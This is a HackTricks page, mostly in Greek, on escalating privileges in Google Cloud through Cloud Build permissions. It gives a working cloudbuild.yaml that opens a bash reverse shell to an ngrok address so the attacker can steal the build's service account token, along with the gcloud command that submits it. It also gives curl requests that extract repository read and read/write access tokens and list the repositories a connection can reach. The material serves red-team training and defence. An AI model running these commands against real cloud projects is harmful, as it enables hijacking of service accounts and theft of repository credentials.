GCP - Cloudbuild Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

cloudbuild

Για περισσότερες πληροφορίες σχετικά με το Cloud Build δείτε:

GCP - Cloud Build Enum

cloudbuild.builds.create, iam.serviceAccounts.actAs

Με αυτό το δικαίωμα μπορείτε να υποβάλετε ένα cloud build. Η μηχανή cloudbuild θα έχει στο σύστημα αρχείων της εκ προεπιλογής ένα token του cloudbuild Service Account: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Ωστόσο, μπορείτε να ορίσετε οποιονδήποτε service account μέσα στο project στη διαμόρφωση του cloudbuild.\
Συνεπώς, μπορείτε απλώς να αναγκάσετε τη μηχανή να exfiltrate στο server σας το token ή να πάρτε ένα reverse shell μέσα σε αυτήν και να αποκτήσετε το token (το αρχείο που περιέχει το token μπορεί να αλλάξει).

Άμεση εκμετάλλευση μέσω gcloud CLI

1- Δημιουργήστε cloudbuild.yaml και τροποποιήστε το με τα δεδομένα του listener σας

Cloud Build YAML διαμόρφωση για reverse shell ```yaml steps: - name: bash script: | #!/usr/bin/env bash bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 options: logging: CLOUD_LOGGING_ONLY ```

2- Ανέβασμα ενός απλού build χωρίς source, του αρχείου yaml και καθορισμός του SA που θα χρησιμοποιηθεί στο build:

Υποβολή Cloud Build με καθορισμένο SA ```bash gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com ```

Χρήση python gcloud library

Μπορείτε να βρείτε το αρχικό exploit script εδώ στο GitHub (αλλά η τοποθεσία από όπου παίρνει το token δεν δούλεψε για μένα). Επομένως, δείτε ένα script για να αυτοματοποιήσετε την creation, exploit and cleaning of a vuln environment here και ένα python script για να αποκτήσετε ένα reverse shell μέσα στη cloudbuild machine και να το steal εδώ (στον κώδικα μπορείτε να βρείτε πώς να ορίσετε άλλα service accounts).

Για πιο εμπεριστατωμένη εξήγηση, επισκεφθείτε https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.repositories.accessReadToken

Με αυτό το permission ο χρήστης μπορεί να πάρει το read access token που χρησιμοποιείται για πρόσβαση στο repository:

Πάρε read access token για repository ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadToken" ```

cloudbuild.repositories.accessReadWriteToken

Με αυτήν την άδεια ο χρήστης μπορεί να αποκτήσει το read and write access token που χρησιμοποιείται για την πρόσβαση στο αποθετήριο:

Λήψη του read and write access token για το αποθετήριο ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadWriteToken" ```

cloudbuild.connections.fetchLinkableRepositories

Με αυτή την άδεια μπορείτε να λάβετε τα αποθετήρια στα οποία έχει πρόσβαση η σύνδεση:

Ανάκτηση συνδεόμενων αποθετηρίων ```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections/:fetchLinkableRepositories" ```

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks